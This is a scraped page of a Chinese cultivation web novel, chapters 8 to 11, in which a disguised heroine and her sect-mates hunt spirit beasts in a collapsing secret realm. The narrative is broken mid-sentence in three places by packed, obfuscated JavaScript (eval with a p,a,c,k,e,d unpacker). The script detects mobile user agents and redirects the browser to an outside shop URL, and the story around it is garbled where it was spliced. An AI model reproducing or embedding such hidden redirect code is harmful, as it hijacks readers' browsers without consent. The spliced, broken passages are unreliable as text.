周雨泽摆摆手,莲花形状的河灯顺着河流往下,最终淹没于一众大差不差的河灯中。 “我什么都没写,空白的。” “哦。”陈舒朝扬起手中的笔,写了几个字绑在大橘猫上。 周雨泽好奇:“你写的什么?” 她露出一个标准到让人不寒而栗的微笑:“希望无量宗灭门。” “啊?” 修炼修傻了么? “我开玩笑的。” 周雨泽长出一口气,听她继续道:“希望全修真界的老东西都死绝,如果神明做不到就自裁吧。” “啊?” 这还不如刚才那个! 但看师妹好像还挺认真…… “这也是开玩笑的。” 果然—— “其实我什么都没写。” ——他亲眼看到她写了字的,他是笨不是傻! 算了,师妹不想说就不说。 只是这修炼的怨气比冤死鬼还大,若是被师姐知道了,又是一顿说教。 周雨泽把胳膊放在脑袋后面枕着:“走吧,回宗。” 已近子时,正是热闹的时候,他们逆着人群出城,回了无量宗。 路上顺便兑换了积分,与江砚辞交接了任务。 少年站在夜里,对他们点头示意,离开前多看了眼陈舒朝:“这位师妹……” 周雨泽下意识上前挡住视线:“我师妹怎么了?” “没事,”对于他下意识的敌意,他也不恼,“我看她快要突破了,想必便是单长老要塞进这次大比里的人。” “对,没错。” 陈舒朝大方对视。 “祝你突破成功。” “多谢,我会的。” 她本就打算在秘境里突破。 简单聊了两句,他便离开了,看方向是回了主峰。 她带着周雨泽补完剑,两人在杂役峰峰顶道别。 陈舒朝回了自己院子,躺在榻上。 子时已过,现在是第二日了。 8. 大比(一) 一个月很快过去,大比的日子来临。 大比一年一次,相当于无量宗的新年,对于修士来说是频繁了些,所以除了刚开始那两年,其余都比较寡淡,奖品也不怎么吸引人。 比如一些珍贵但没什么用的灵兽肉,一些只能炼出适合筑基期使用的武器的炼器材料,或者是一些又贵又不好用的符箓。 总之,没什么人参加。 今年搞出了个神秘奖品的噱头,倒是吸引了不少好奇的人。 大比巳时开始,辰时就有一部人在演武场等着了。 陈舒朝御剑前去,遥遥望见主峰,心底便止不住地涌出一股戾气。 林野鹤,她的好师尊,就在那里闭关疗伤。 总有一日,她会将剑抵在他的胸口上,当着他的面入魔。 时间来到巳时,演武场上人头攒动,参赛的修士站在最前面,其余人坐在阶梯上。 掌门闭关多年,已经是新入门弟子口中的传说了,气峰长老则作为评委坐在最高处。 他们之中,修为最高也才元婴大圆满,陈舒朝穿着改造后的宗服,站在队伍最末,完全不担心会被看出来。 “大比要开始了!今年的神秘奖品是什么,给我透露些呗?” “我上哪知道去,我连金丹都没有!” “没到金丹你还挺骄傲?” “总比某些人没有金丹,却走后门进的强吧,也不怕被里面的灵兽咬死!” “喂!别以为我听不出来你在阴阳人,这次的奖品可是我们峰主提供的!只是提一个小小的要求怎么了?” “说得和谁的峰主没拿出来过东西似的,你们杂役峰能拿出来什么好东西。” “喂!你们……” 下方讨论得正热闹,一股强大的威压忽然压在所有人身上,让他们瞬间噤声。 大长老御剑峰峰主丰文山轻咳一声,顶着单萧要杀人的目光,觉得观众的情绪酝酿得差不多了,才慢悠悠放出威压制止:“诸位稍安勿躁。” “此次大比在平仪秘境中举行,共举行五日。” “比赛采用分组积分制,两人一组共分十组猎杀灵兽,一只八品灵兽一积分,七品两积分,六品四积分,五品八积分,以此类推。五日后秘境结束,积分最高组为胜者。” 两人一组,陈舒朝想,若是和江砚辞一组,会方便很多。 丰文山接着道:“唯一的胜者则由抽签决定。” 这话一出,众人齐刷刷地看向他,即便在威压下张不了口,他们的眼神也足够锐利。 若是眼神能杀人,他早就死千万遍了。 “大家别那么激动嘛,毕竟运气也是实力的一部分,除天赋外,修真最重要的是机缘。若没有机缘,就连大乘期也会死得无声无息。” 陈舒朝抬头,目光在他身上停留了一瞬。 她的运气差么?从小荣华富贵,入道修仙也是顺风顺水,从未遇到过大挫折。 那么,她的运气好么?好像也不是很好,她「死得」甚至不是无声无息,而是遭受着全修真界的唾骂,敌视。 即便是修真界,人也是会有从众心理的,几个不知实情的人骂两句,便会有更多更加不知实情的人加入。 敛下眸底暗色,丰文山的话也到了尽头。 他挥手,每个参赛者面前都出现了一枚玉佩。 “秘境内禁止使用玉简,队友之间可用这枚玉佩联系,也可用其查看各组积分。遇到危险时捏碎玉佩,会被直接传送出来,队友则继续比赛,若获胜,队友直接获得奖品。” “比赛中,各种法器、灵丹妙药等不限制使用。” 几人面前浮现一道裂缝,透过裂缝,可对内里的世界窥探一二。 大约是处森林。 不太对,陈舒朝皱起眉头。 这个秘境的能量很不稳定,像是随时会坍塌。 与此同时,演武场的灵气被搅动,白雾般的灵气聚集在上方,形成巨大的水镜。此刻静悄悄的,透明的水镜仿若无物,但当他们踏入秘境,水镜便会被分成几份,显出他们在秘境中的一切行动。 “进入秘境后睁眼,你旁边的便是你的队友。” 这话一出,周围人都默默离陈舒朝远了些。 也是,她的修为最低,没人想和她一组。 她的目的也不是拿第一,注定不会花多少时间去猎杀灵兽。这么想,和她一组的人确实是倒了大霉。 其余人陆陆续续进入秘境,有意和她拉开距离。 即便之前还有人对她抱有善意,在听到规则后,都不会想和她分到一组。 一身黑衣的江砚辞更是第一个进入秘境,看起来对奖品很感兴趣。 陈舒朝很有自知之明,默默缀在队尾。 踏过裂缝的一瞬间,首先感到的是一阵天旋地转,她忍不住在心理吐槽,这都多少年了,进秘境的方式也不知道改善一下。 她脑子里嗡嗡的,平静下来后,睁开眼,首先看到的是一片黑色衣角。 往上,是冷峻的下颌线和一张紧绷着的脸。 啊。 她对这人有印象。 这人从见到她开始就释放出了明显的敌意,应该是十几人里对她敌意最大的。 果然,丰长老说得没错,运气很重要。 见到队友是她,他的眉头能夹死一只苍蝇,厌恶之情溢于言表:“你看着我作什么?” 陈舒朝:“没什么,只是在想你叫什么。” “你不认识我?” “我应该认识你么?” “你!”这句话把他气得不轻,要不是考虑到她是他队友,他简直想直接出剑。 陈舒朝笑眯眯地,又问了一遍:“你叫什么?” 他刚想反驳,猛然明白过来她是什么意思,顿时暴跳如雷,被气得脸红脖子粗,周身灵气涌动,本命剑被激得嗡嗡作响。 竭力按下剑,他咬牙道:“记清楚了,我叫关别山,大长老座下大弟子,你名副其实的师兄。” 陈舒朝非常乖巧,假装不知道自己刚才说了什么:“好的关师兄。” 关别山也是真的以为她方才只是不知道自己的名号,所以才这么放肆,如今知道了,自然怕得要命,指不定在心里偷偷哭。 他冷哼一声,大人不记小人过:“想必你也知道自己修为不高,乖乖听我指挥,别给我添乱就行。” “还好你是落在了我手里,若是其他人,还指不定会拿你怎样。” “哦,”陈舒朝懒得和他装,随手指一个方向:“那边好像有强大的灵兽气息,我们去那边吧。” 关别山顾不得她的态度,因为,他嗅到了四品灵兽的味道。 陈舒朝拿出玉佩一看,佯装惊讶道:“呀,有的组已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669381|188625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四积分了。” 关别山急了:“那还不快走,第一一定得是我的!” 两人掠过一颗颗树,四品灵兽的气息越来越近。 陈舒朝选择这个位置,不仅是因为这边有四品灵兽,能迅速吸引关别山的注意,还有,她在这个方向嗅到了江砚辞的气息。 少年的气息是清冽的、干净的,她形容不出来那种味道,但极其有辨识度,让她能够在一众混乱的气味中迅速分辨出来。 一排排树木飞快往后退,几息之后,眼前豁然开朗。 那是一处巨大的湿地,空旷,但又布满生命。 安静得不正常。 “你就在树上藏好,别下去,我自己去解决。”关别山头也不回地说完,闪身到地面上,随着灵兽的气息寻找。 陈舒朝点点头,蹲在树上本来就没有动的意思。 她在找人,视线飞速掠过一棵棵奇形怪状的植物,最终锁定到一块巨石上。 关别山在下面摩挲着找灵兽的踪迹,完全不会注意到这边。 陈舒朝悄悄溜下树,绕开关别山。 这一片湿地难走,她干脆用灵力浮在水面上。靠得近了,发现那块石头有两个人高,若是不听声音,就算有人在这后面打架也可能发现不了。 她靠过去,身形刚一完全没入巨石的阴影,就被一柄剑抵着脖子。 身体撞上坚硬的石头,陈舒朝皱了皱眉,一副强忍眼泪的模样,可怜兮兮地望向剑主人。 剑主人长得五大三粗,袒胸露乳,稍微一探,修为大概到了金丹大圆满。 应当也是借着这次秘境来突破的。 这人剑锋抵着她的脖颈,却没进一步的动作,想来是听从身后人指挥的。 目光掠过他,陈舒朝看到少年拧眉站在不远处,她立马装得楚楚可怜,手指触了触剑锋,被划出一道浅浅的伤痕,涌出两滴血:“师兄这是干什么?剑能离我远一些么,我害怕。” 江砚辞:“……” 前两次见她可不是这样的。 “阿枫,收起剑吧。” 被唤作阿枫的少年犹豫了下:“可是……” 江砚辞拿出捆仙绳,陈舒朝隐约从他的笑容里品出了一点邪恶:“用这个。” 阿枫明白了,他剑没动,用灵力托起捆仙神把她结结实实捆了一圈才移开剑。 长剑入鞘,陈舒朝靠在石上,狠狠记了江砚辞一笔。 江砚辞一边走近一边警惕四周:“你队友呢?” “不知道,我们本在林中行走,我见前方开阔,想着许是有高品阶灵兽在此,刚想开口提醒,却发现他人已经不见了。” 末了补充:“想来是嫌我修为低,不想与我同行。” 陈舒朝暗暗观察着他的神色,他既没同情,也没幸灾乐祸,更没有厌恶,好像在洞外一切时候,他都是温柔到淡漠的,所有情绪都被温和的外表掩盖。 那么,在惊雷峰细致入微的照顾,会不会也是伪装? 她在观察江砚辞的同时,江砚辞也在观察她。 其实是很拙劣的演技,一眼就能看穿,伤心垂泪或许是假,被抛弃大概是真的。 “那你跟着我们,但是记着,遇到危险直接捏碎玉佩,我们不会拼命去救你。” 阿枫没什么意见,捆仙绳松开,陈舒朝假装抹眼泪:“好,多谢两位师兄。” 9. 大比(二) 水镜外。 在他们进去后,禁言就被解除了,现在可以自行讨论。 作为唯一一个筑基期,陈舒朝自然受到了许多关注。 刚开始看到她和关别山一组,还有人为她捏了一把汗,看到她怼关别山那里,更是有人直接笑出声。 关别山脾气又硬又臭,还看不起修为不如他的人,很多人都记恨他,如今他被怼,是很多人都喜闻乐见的。 后来,陈舒朝悄悄溜下树直奔江砚辞大腿,有人坐不住了。 “她故意的吧她,逃跑就逃跑怎么就直接找到江师兄了?” “有些人我都不想说,嫉妒人家就直接说出来,凭江师兄的修为,站你旁边你都不一定能发现。” “她怼关别山那劲儿呢?怎么一看到江师兄就哭哭啼啼。” “关别山也没抛下她吧,是她自己乱跑。” “也就江师兄脾气好,愿意管她了。” “凭什么啊啊啊啊可恶!” * 秘境内。 湿地内一点动静也没有,不像是有高品阶灵兽的样子。 但在内的所有人都嗅到了危险的气息。 四品灵兽相当于元婴中期,在场的只有江砚辞一人到达了元婴期,且只有初期,就算两人联手也不一定打得过。 巨石后,三人观察着整个水面。 灵兽气息太过浓郁,根本无法精准找出它的位置。 江砚辞眸子一动,忽然捕捉到了什么。 “你的队友是关别山?” 陈舒朝也看到了,关别山正深一脚浅一脚地在水里走。每走一步都能带出一鞋底的泥,走个两三步就要晃晃腿把泥甩掉。 这人脑子一根筋,完全没想过可以用灵力垫着脚走。 陈舒朝看得难受,恨不得冲上去教他。 耳边倏地传来异响,她偏头,剑锋擦着鬓发而过,她的头发断了几根,贴在剑上,再被风带下去,转着旋落地。 她没什么反应,倒是吓了阿枫一跳。 他瞪大眼,完全不明白发生了什么:“江、江师兄,怎么突然要杀她了?” 江砚辞与她对视:“关别山我了解,他绝不会抛下你。” 陈舒朝勾勾唇:“你真的了解他么?他那么想得第一,我又是这么大个累赘,他抛下我,任谁看都很正常。” “对,”江砚辞剑尖一转,直直对着她咽喉,“所以你想出了这么个法子,假装被他抛弃,然后来接近我,你的目的是什么?” 有点脑子,陈舒朝唇角的笑容更大了,她目光放在阿枫身上:“谁说我是来接近你的,阿枫不也在这里,我是来找阿枫的。” 江砚辞不语,苍梧剑一动不动。 筑基大圆满,离元婴还有十万八千里,怎会找到他的位置? 视线落到旁边那完全摸不清状况的人身上,真是来找阿……不会,金丹大圆满也不当被她发现踪迹。 他张张嘴,正想再问什么,四周灵兽气息倏然暴涨! 元婴中期的威压让他神色一凛。 怎么回事!? 视线迅速锁定在塘中的男修身上,他正池塘中央,似乎是中心不稳,一把剑插在淤泥里帮他稳住身形。 水波荡漾,不一会儿形成巨浪,水面被搅动,关别山全身被淋了个透彻。 一只拳头大的蚊虫掠过三人,一眨眼,被一个巨大的舌头卷走吞噬。 粉嫩的舌头将巨石击了个粉碎,碎石块打偏了苍梧剑,陈舒朝转头看到蚊虫绝望的眼神,在心中默默道了句安息。 江砚辞握紧剑柄,手上蓄力,眼睛盯着关别山,关别山脚下忽然发生震动,让他彻底站不稳,一个踉跄即将摔入水中。 他脚下的淤泥却一点点升高,直至露出整个头。 他看清楚了,关别山没摔到泥里,而是摔到了巨型灵蛙的头上! 灵蛙现在彻底被激怒了,它午觉睡得好好的,这群人非要来这里叽叽喳喳,还踩到了它的头上! 扰人午睡者,罪不可恕! 更何况,那人还把手里的剑刺进了它脑壳里! 简直是罪加一等! 它彻底生气了! 可恶的人类修士! 灵蛙眼眸里几乎要喷出火来,它一个猛地起跳,再深深扎入水中。 它巨大的身形溅起了十几丈高的水花,关别山紧紧抓着它的表皮,避免被甩下去。 灵蛙的表皮光滑,很难抓牢,它紧紧抓着,指甲陷入了它的皮肤内,浓稠腥臭的血流出,关别山皱起眉头,屏住呼吸。 敏感的皮肤让小小的疼痛翻了数十倍,它从喉间发出一声拐怪叫,跳跃的频率更加地快。 一旁的三人及时撑起灵力屏障,才避免了关别山一样被淋透个彻底。 他们在等待时机。 关别山眼眸盯紧了一个点,在某一时刻,脚底用力,忽地跃至半空。 手里的剑脱手横悬在空中,正正好接住掉落的关别山。 他御剑与灵蛙拉开距离。 也在这时,藏在暗处的三人同时动身。 陈舒朝正准备一跃而起,被江砚辞按住肩膀推回去。 陈舒朝一脸莫名其妙地看他。 江砚辞表情严肃:“那边危险,你自己找个地方待者。” 说完头也不回,疾驰到关别山身旁。 关别山先是惊讶了一瞬,很快冷静下来,从鼻子里发出一声轻哼:“这四品灵兽是我先发现的,你们可别想抢。” 江砚辞安抚他:“放心,你打不过,我们是来帮你的。” 这句话的效果显著,成功将关别山三分的怒意激发到了七分。 “你说谁打不过,谁说我打不过了!你怕你就先走。” 似乎为了证实他说的是真的,话音刚落,他就举着剑上前,一个暴起灵力涌动在剑尖。 剑锋裹挟着风,搅动池子里的水,将其散成水雾迷惑了灵蛙的视线。 陈舒朝很听话,说不让她出手她就不出手,躲在树林里观察着他们的打斗。 鼻尖轻嗅,坍塌的味道更浓郁了些。 这个秘境,似乎寿命将尽。 她唇角勾起一抹笑,眸色渐深。 这就是所谓的,瞌睡时有人递来了枕头。 两个金丹期,一个元婴初期,要对付一个元婴中期的灵兽还是有些吃力。 不过一刻钟,三人都受了不同程度的伤。 阿枫沉默着抹去嘴边的血,握着剑继续迎战。 灵蛙属水,这里是一整片湿地,水分含量极高,又有一大片池塘。 在这里与灵蛙作战,因着环境,原本就有差距的双方更是拉开了莫大的距离。 它可以控制水,这里遍地是水,简直是为他们量身定做的牢笼。 灵蛙控制着水,用水将他们包围,薄薄一层,却在他们冲破的瞬间化为无数冰晶,割破他们的皮肤。 陈舒朝没忍住抖了一下,冰晶嵌入伤口,在他们想要伸手去拔,手指触碰到的一瞬间化为水,渗透皮肤、融入血肉。 那一滴小小的水,会在你体内的各个地方游走,结成冰又融化开,融化了又结成冰。 水无孔不入。 这是灵蛙最骄傲的一点。 它的水,目前为止还没遇见能破解的,区区愚蠢的人类,更是不可能破解。 它非常自豪。 在这样的处境中,关别山难免烦躁,游走于骨肉的水滴将他刺痛,抓又抓不找,痛又不能痛个彻彻底底。 简直要把人折磨疯。 他一身燥意,身体却冷得像冰。 睫毛上也被刷了一层霜。 灵蛙看到他们这个样子,登时骄傲起来,高傲地昂起头颅。 阿枫面无表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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且,天边,一轮红日正在升起。 他对第一有着病态的执念,此刻疯了般要杀死灵兽。 灵兽在狂风骤雨般的攻击下逐渐变得虚弱,即便如此,它仍是要逃,不还手,不分神,把全部精力都用在了逃跑上。 怪异。 江砚辞首先想到的便是这个词。 他没有急着杀死灵兽。 能够让一只四品灵兽怕成这样,脑子里只剩逃跑的…… 糟了。 视线迅速扫视一圈,并没有找到那抹白色身影。 他蹙起眉头,不妙的感觉哽在喉头。 目光落在灵蛙跑的方向,他对着身旁的阿枫道:“顺着灵蛙的方向跑,拽上关别山,路上留意一下刚才跑来的同门。” 阿枫很快想明白,点了点头。 两人追上时,关别山浑身是血,已没个人形了。 关别山毫不在意,阿枫硬生生将他扯下,用灵力箍着他跑。 他竭力挣扎,却毫无作用。 “喂!你们干什么,你们怕死,我可不怕!” 江砚辞很干脆:“行,既然不怕,就把他丢下吧。” 他这样平淡,关别山反而急了:“别别别,别丢了我,真的会死么?” “我不知道,所以你不想跟我们走可以不走,反正不管发生什么,捏碎玉简就行了。” “……” 不行,捏碎玉简就算弃权了。 他被阿枫扛着,想起什么,拍拍他的背:“等等,我还有个队友,我得去救她。” “我们也在找,你老实待着。” 10. 大比(三) 若事情真像陈之予说的那样,她是被抛下的,那么,现在关别山又为何要关心她? 若陈之予是骗他们的,那她的目的是什么? 是为了跟着他们捡积分么? 她身为唯一一个筑基期进来的,积分倘若太低,连带着整个峰都会被嘲笑。 这么做也无可厚非。 可她现在人在哪里? 为什么不乖乖待在那里,还要他们去找。 三人掠过一棵棵树木,身边景色飞快往后退,灵蛙在后面紧紧追着他们。 它穷追不舍,紧紧缀在后面。 倏地,它停止了追击,整只蛙停在原地,浑身颤抖、缩成一团,极大地降低了自己的存在感。 假装自己是一团空气。 灵气变得稀薄,江砚辞敏锐地嗅到了危险的气息,神色一凛,朝一个方向看去。 之前的危险是模糊的、不确定的,现在变得清晰明确。 就在那里,有一个未知的存在,正在吸收全秘境的灵气。 夜风乍起,枝叶簌簌。 深蓝的黑暗中,一片树叶落在腰间的玉佩上,被一只骨节分明的手抚去。 他放下玉佩,看准一个方向,催动体内灵力,加快了速度。 阿枫带着关别山快速跟上。 树影重重,周遭的一切仿佛都一模一样,很难分清方向。 据他所知,这个秘境并没有那么大,不该这么长时间一个人都没遇到。 不对。 江砚辞猛地反应过来。 他参加过很多次大比,地形地势早已熟记于心,按照他们的速度,应该早就走出这个树林了。 可是现在。 他停下脚步。 周遭树影重重,根本看不到边际。 “怎么了?” “不对劲。我们应该是陷入了某种迷阵。” 阿枫停下脚步,放下背上的关别山。 关别山一落地就忍不住嚷嚷:“喂,你背我的方式也太粗暴了,硌得我腹肌疼。” 阿枫脑子顿住,思考了下平常大家的交流方式,然后回道:“不用特别强调,我们大家都知道你有腹肌。” 关别山:“……” 他脸庞爆红,实在不理解这人的脑回路。 江砚辞也忍不住扶额:“总之,再跑也没用了,我们已在高品阶灵兽的狩猎范围内。” 关别山悚然一惊,整个人扭着身子往后看。 灵蛙不在这里了。 * 陈舒朝在树林里溜溜达达。 早在他们与灵兽争斗时,她就离开了。 当时整个秘境的灵气场全部紊乱,水镜肯定显现不出内容了,外界大概是一片方寸大乱。 很明显,秘境内出现了本身所不能承受的灵兽,并且在突破的边缘,灵力几乎都被它吸收,这里灵气越来越稀薄,几乎要维持不住整个秘境的运行。 当秘境寿命将尽,会发生什么? 陈舒朝拨开挡着视线的层层叶片,视野里是一只沉眠着的灵兽。 二品。 正在往一品晋升的二品灵兽。 待看清灵兽的样子,她瞳孔猛然放大。 这是一只龙族。 龙族怎么会出现在这里? 纯种的龙族早已灭绝,这只血脉有点偏,但确是龙族无疑。 血脉的强大加上品阶的高等,让这个并不怎么强大的秘境摇摇欲坠。 陈舒朝咽了咽口水,缓缓靠近。 龙的体型很大,盘踞在山洞里,腹部摩擦地面,发出轻微响声。 似乎随时都能醒来。 陈舒朝靠近、再靠近,看到了龙的两角。 在龙族面前,人真的很渺小,光是一个龙角就比整个她还要大。 实在是震撼。 但是现在—— 陈舒朝小声道了句抱歉,手上凝起灵力,重重打在龙身上。 一击不成,她又迅速补了几击,在它眼皮颤动时及时收手,转身就跑。 她用了全力,将元婴中期的实力发挥到极致,她有信心跑掉。 在突破的关键时期被打断,龙生气至极,当即腾空而起,发出一声响彻云霄的龙吟! “无知小儿,你可知你干了什么。” 它的声音仿佛来自很远的地方,又仿佛就在耳边乍响。 无法根据声音判断方向与距离,只能感受周边灵力与空气的变化。 而这,正是她所擅长的。 毕竟在战场上,稍有不慎,便是万劫不复。 她不说话,只一味地跑。 龙瞬间被激怒,向下俯冲,直直朝着她攻去! 它速度很快,但陈舒朝更快。 每次,她都能险之又险地避开,给它一种即将要抓到的错觉,让它能够被她引导着,去往她设定好的目的地。 龙对此全然不知,它很自信,骄傲地看着她被它追得只能到处逃窜。 她不回答它的问题,一步一步规划好路线,在接近湿地时,她停住,转身朝她挑眉。 这是什么意思? 她在干什么,为什么不跑了? 它想到一种可能:“你故意的?” 陈舒朝大方承认:“是啊,你居然现在才发现?” 它身体僵了一下,终于明白,它被耍了! 它不会再上当了! 于是,在这次陈舒朝跑时,它并没有追上去。 哼。 愚蠢的人类,当她发现自己没有跟上时,一定会痛哭流涕吧。 她以为同样的套路它会上两次么? 当然不会。 神圣的龙族最多只上一次当。 然而。 它等了一刻又一刻,还是没有等到她回来。 它再次明白。 这是什么? 这是它又一次被耍了! 可恶的人类! 它暴怒,不管不顾地要原地强行突破。 它会让她付出代价。 秘境内大量灵力涌向此处,形成一个巨大的灵力旋涡。 秘境内本就稀薄的灵力更加稀薄。 隐隐有坍塌的趋势。 陈舒朝察觉到这个趋势,勾唇笑了笑。 很好。 她在树林里溜达,又将自己的修为封印,外表上已经是金丹初期了。 找那姓江的小子去。 林子里精静谧,只有风吹动树叶的沙沙声和一些虫的叫声。 陈舒朝在里面行走,落叶在地上铺了厚厚一层,踩上去会有一些声响。 但她毫不担心会被发现。 毕竟她的气息从里到外都做了一些伪装,她有自信不会被发现。 江砚辞的气息有点模糊,似乎离她很远,又似乎很近。 甚至有一瞬间就紧紧贴着她。 近在耳旁的呼吸,紧挨着的体温。 她仿佛看到了一只眼巴巴看着她的小狗。 当秘境寿命将尽,会发生什么呢? 秘境也有境灵,任何生物在生命受到威胁时,都会有自救行为。 这个迷障,就是它的自救吧。 可惜,药不对症,它注定要消亡。 陈舒朝敛下眼睫,再抬眼,看到了另一番景象。 树林还是这个树林,却凭空出现了三个人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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在不久的将来,血尽而亡。 谣言有一点说得不错,她不是个好人。 从来都不是。 之前是责任压着她,现在没了责任,等出去报了仇,自然是怎么快活怎么来,不去考虑修真界的未来。 做魔其实就挺好的,自由恣意。 人不犯我,我不犯人,管他们谣言怎么传,我就做好我自己,只要有强大的实力,她甚至能在魔族建立一个新的秩序。 她跟了半个时辰,在这半个时辰里,江砚辞一共遇到了两只五品灵兽,四只六品灵兽,都被他解决了。 当真是个不要命的。 他走得摇摇晃晃,走一步喘三下,剧烈的喘息让人觉得仿佛下一秒就要去世,可他确实还站着,还在往前走。 “啧。”陈舒朝轻轻地啧了一声。 太蠢了,这么长时间都发现不了,这人脑子是浆糊么? 她方这么想着,对方下一瞬猛地扭头看过来。 猝不及防对视上,陈舒朝一眨不眨,甚至还翻了个白眼。 江砚辞摸摸脑袋,甚至还在和「阿枫」说话:“方才好像有什么东西,是错觉么?” 笨死他得了。 幻觉毕竟是根据自己的记忆以及认知编织的,的确比妖物幻化或有人假扮难认些,但是至于这么久一点都没发现么? “你不是阿枫吧。” 听到这一句,陈舒朝终于露出了笑容。 “我方才其实什么也没看到,”江砚辞面前的幻想一点一点消散,“我不知道你们是什么,但不得不承认,你们的确装得很像,相处下来根本看不出来区别。” “但是,” 陈舒朝在心里接上后半句。 三人合作,只是几只五六品的灵兽而已,怎么可能伤得那么重。 他浑身的血,是自己加上的砝码。 11. 大比(四) 夜,明亮了起来,雾气散去,太阳一点点升起。 很快,阳光穿过树林的缝隙,雾霾被驱散。 两人在阳光中看到对方。 “你——” 江砚辞方说一个字就被对方抢先。 陈舒朝缩着脖子,一副害怕的样子:“你怎么突然出现在这里,这是哪里?为什么我出不去了?” 一连串的问题让江砚辞有些头疼,他受伤不轻,没听清她在说什么,一手扶着树干,垂着头,眼前一阵阵发昏。 “你怎么了,怎么受这么严重的伤?” 她的声音似乎来自很远的地方,他勉强听清,回了两个字:“无事,我们得赶快回去。” “你看起来很不好,我扶着你吧。” 一只胳膊被不由分说架上另一人的肩膀,眼前发黑的症状突然加重。 他晃了两下,站稳身子。 “玉佩我试过了,用不了。我们该怎么出去?” 女子的话音落在耳旁,江砚辞用力将头撇去,试图清醒点。 耳坠撞在一起发出叮叮响声,混合着少年清越的嗓音:“我不知道,但是放心,我会带你出去的。” 阿枫和关别山都不见了,他至少得带一个人出去。 女子听到这话,似乎是轻笑了下:“你伤成这样,意识都模糊了,怎么带我出去?” 江砚辞没接话。 事实确实是这样。 并且,头晕的症状越来越严重,他能不能活都是个未知数。 江砚辞有些想笑,身为无量宗人人敬爱的大师兄,死在了自家秘境里,说出去真是让人笑话。 他停在原地,扶住树干,晃了晃脑袋。 “你还好么?” 声音仿佛来自很远的地方,隔着一层厚厚的膜,听不真切。 江砚辞睁大眼睛去看,忽觉天旋地转,只看到一片白色衣角。 少年倒在地上。 陈舒朝收了关切的神情。 四下无人,青天白日忽然起了浓厚的雾气。 女子站在林中,少年倒在她脚边。 面容模糊不清,她往前走一小步,蹲在他旁边。 漆黑的眸子里闪过一抹暗色。 “唳——” 一声鹤鸣响彻天空,陈舒朝抬首。 * 一声鹤唳吵醒了江砚辞,他迷迷糊糊睁开眼,待看清眼前景象,他猛然顿住。 “这是……” 他伸出手,手变得小小的,脏兮兮的,还有污泥。 身上的衣物也是破破烂烂,打了许多补丁。 一双草鞋被他穿得破烂不堪。 面前是一条小河,河水潺潺,岸边放着衣篓。 他就坐在这河边,旁边还有一个女人。 她用力搓着衣裳,初秋的天,手被冻得通红。 女人瞅瞅他,笑道:“小辞,累了啊?累了就歇会儿,衣裳放那吧,我帮你洗两件。” 江砚辞试探着喊:“吴姨?” 被叫作吴姨的女人不容置喙地从他衣篓中拿出一件粗麻布衣,搓洗起来,嘴上应答:“怎么了?” “没事。” 吴姨。 四十多年前,他尚未入道时,经常帮助他的一位老妇人。 她五十多岁了,不胖不瘦,皮肤是健康的小麦色,头发夹杂着银色,面上有浅浅的皱纹。 笑起来会有两个酒窝,很和蔼。 江砚辞拿出一件衣裳,浸入冰冷的河水中。 这是幻境么? 说实话,四十年前的回忆并不是多么美好。 娘在生他时去世,爹身体不好,脾气也不好,经常打骂他。 他对「父亲」这个角色并没有多少感情,活了十几年,他对他来说,一直都是个可有可无的、稍微熟悉点的陌生人罢了。 太阳落山,江砚辞抱着衣篓回去。 从河边回村的是一条小路,刚下过雨,泥泞不堪,每踩一脚都会带上来一些泥。 路边是大得遮住阳光的杨柳树。 兴许是触景生情,原本被他抛在角落里的模糊记忆渐渐清晰起来。 一路上遇到了许多村里的人。 “呦,砚辞回来啦。” “是的,江叔。” “刚下过雨,跑慢点,别摔了。” “知道了,李婶你也小心点。” 他先将吴姨送回家,等到月亮升到老高才站在自己家门前。 晒好衣裳,他进到屋里,桌上放着一张饼。 饼是邻居家的媳妇做的,巴掌大小,里面夹着少许素菜。 他们两家挨着,时常互帮互助。 当然,别人帮他们的时候多些。 爹吃过饭了,在屋里睡觉,呼噜声很大。 他收拾收拾,伴着这样的声音,也睡了。 第二日一早,刚打过鸡鸣,江砚辞便揉着眼睛起来了。 睁开眼时他还愣了一会儿。 这个幻境实在是太真实了。 通常的幻境只是大范围的障眼法,不会改变修士自身。 可他现在,确确实实一点灵力也没有。 江砚辞闭目试着感受周围的灵气—— 有的。 很微弱的灵气气息,浓度符合常理。 他没有选择现在修炼。 并没有意义,在这里修炼三五年,也没有在无量宗打坐一个时辰来得快。 他穿好衣裳,开始生火做饭。 村里的第一缕炊烟袅袅升起,过不了多久,有了第二缕,第三缕…… 做好饭,江砚辞方盛好饭菜放在桌上,卧房的帘子动了。 一只枯瘦的手拨开帘子,浑浊的眼睛动了动,又躺回榻上。 沙哑的声音从里面传出:“我不吃了。” 江砚辞看了看里面,什么都看不到。 他的容貌,他记不清了,枯瘦的手,浑浊的眼睛,这些特性倒是记得一清二楚。 这个时候的他差不多也是这样,瘦得吓人,身子没什么肉,头发也枯黄分叉。 算不得好看。 他没怎么劝,自己吃了饭,剩下的给他留桌上,去洗了把脸。 他的身影倒映在缸里的水面上。 水面上的人看起来有十一二岁,他因为营养不良,实际年龄会比看起来大些。 现在的他应该是十四五岁。 江砚辞出门去打些零工,回来刚好碰到村长。 村长是个头发花白的老人,年纪有些大了,身体健康得很,走起路来很有劲。 他将他拉至一边,长高的玉米挡住两人的身形。 村长神神秘秘的:“我给你说个事,你可千万不要告诉你爹。” 江砚辞神色一凛,也悄声道:“放心,村长爷爷你说。” “你想修仙么?” 